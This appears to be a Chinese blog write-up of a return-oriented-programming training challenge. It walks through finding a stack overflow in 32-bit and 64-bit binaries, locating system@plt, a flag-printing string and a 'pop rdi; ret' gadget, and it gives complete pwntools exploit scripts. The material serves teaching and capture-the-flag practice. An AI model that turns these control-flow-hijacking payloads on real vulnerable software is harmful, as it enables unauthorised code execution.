ROP缓冲区溢出利用

以你之姓@ 2022-09-14 02:18 188阅读 0赞

# 32位应用 #

32位ELF的参数直接放到栈中。  
先找到一个EFF程序，用IDA打开`F5`，发现了fgets缓冲区溢出利用点：  
![1][]  
溢出长度为：`0x28 + 0x4 = 0x2C`。  
Shift+F12查找可以利用的字符串：  
![1][1 1]  
这俩看着能用：

.rodata:08048747	00000008	C	/bin/ls
    .data:0804A030	00000012	C	/bin/cat flag.txt

![1][1 2]  
`usefulString db '/bin/cat flag.txt',0`地址`0x0804A030`，没有被其他函数调用，要想办法调用这串字符，可以利用\_system调用。

usefulFunction调用了`/bin/ls`:  
![1][1 3]  
![1][1 4]  
双击查看\_system函数的`.plt`表内容：  
![1][1 5]  
`0x08048430`是我们要调用的\_system的地址。

from pwn import *
    
    sh = process('./split32')
    
    system_plt = 0x8048430
    cat_flag = 0x804A030
    
    payload = b'a'*0x28 + b'b'*4 + p32(system_plt) + b'c'*4 + p32(cat_flag)
    # payload = b'a'*0x2c + p32(system_plt) + p32(0x12345678) + p32(cat_flag)
    
    sh.sendline(payload)	# payload + '\x0a'
    
    sh.interactive()

开启pwngdb，finish、ni一顿操作，调试到pwnme函数ret位置，查看esp内存已经指向system@plt地址。  
![1][1 6]  
![1][1 7]

# 64位应用 #

64位ELF的参数先放入`rdi/rsi/rdx/rcx/r8/r9`，最后才放入栈中。

找到溢出点：  
![1][1 8]  
溢出长度：`0x20+0x8=0x28`。

`Shift+F12`查找可以利用的字符串：

.rodata:00000000004008FF	00000008	C	/bin/ls
    .data:0000000000601060	00000012	C	/bin/cat flag.txt

跟上一个例子一样，查找system的`.plt`地址`0x4005E0`：  
![1][1 9]  
`usefulString`字符串地址`0x601060`：  
![1][1 10]  
由于64位程序处理参数没有直接放入栈中，所以不能用32位程序的处理方式，需要用到ROP，查找类似如下代码的位置，以绕过传参寄存器的限制，一般是绕过第一个寄存器`rdi`：

pop rdi
    ret

这里有专门的查找工具Ropgadget:

$ ROPgadget --binary split --only 'pop|ret' | grep rdi
    0x0000000000400883 : pop rdi ; ret

`--binary`指定要查找的二进制文件。  
`--only`指定要查找的指令。  
我们找到了。快捷键G：跳转  
![1][1 11]  
![1][1 12]  
打开字节码（每条指令最多显示5个字节码）：  
![1][1 13]  
选中0x400882行的pop，点击按键两次u转为数据，然后选中5F，按键C转化为指令，即可看到`pop rdi;retn`：  
![1][1 14]

大佬画的栈图（ROP原理）：  
![1][1 15]  
exp:

from pwn import *
    
    sh = process('./split')
    
    system_plt = 0x4005E0
    cat_flag = 0x601060
    
    pop_rdi_ret = 0x400883
    
    # x64先构造数据（先设置pop和retn地址，然后设置system的参数，最后是system@plt地址）
    payload = b'a'*0x20 + b'b'*8 + p64(pop_rdi_ret) + p64(cat_flag) + p64(system_plt)
    
    #gdb.attach(sh)
    sh.sendline(payload)	# payload + '\x0a'
    
    sh.interactive()

![1][1 16]  
`rdi`寄存器成功被修改：  
![1][1 17]

![1][1 18]

[1]: /images/20220828/e3957a4cd7fe407a948242d70e1866fa.png
[1 1]: /images/20220828/028ebaae2a3a4bf08465e64fafefb667.png
[1 2]: /images/20220828/7aea99ce37224270be14077386d801ff.png
[1 3]: /images/20220828/bb8795729b804b849ee6383a177abeb0.png
[1 4]: /images/20220828/5653ffdc71994a599cf0d4368bbd4e46.png
[1 5]: /images/20220828/b884e01318074e2a866743080b060466.png
[1 6]: /images/20220828/c9b2e0a4ae2f44b7bb3428d57495ac55.png
[1 7]: /images/20220828/d93772622c9840e3a7dec33d3c891fd6.png
[1 8]: /images/20220828/e3f1fd3077de49a2bec0ba16623cb2a2.png
[1 9]: /images/20220828/a7b633cc160f4cd9be8443087e3a8062.png
[1 10]: /images/20220828/69a76ab9349f440488313d955e8c7837.png
[1 11]: /images/20220828/aea0811870444e60a02788cb93c8c672.png
[1 12]: /images/20220828/882d1842d7294f28946a488b1ab6fecb.png
[1 13]: /images/20220828/c76f89d43dce4b43bb6d12f036075893.png
[1 14]: /images/20220828/7b5e67363e764fcca86e4fd2cbb4c492.png
[1 15]: /images/20220828/14620041bb0b44c787530b2300a31391.png
[1 16]: /images/20220828/94fbd87f4097409aa8cc47e7882359d4.png
[1 17]: /images/20220828/8569ff299c0e4292b69d006a521c822b.png
[1 18]: /images/20220828/ce0768efc492414d8e9109821d28419f.png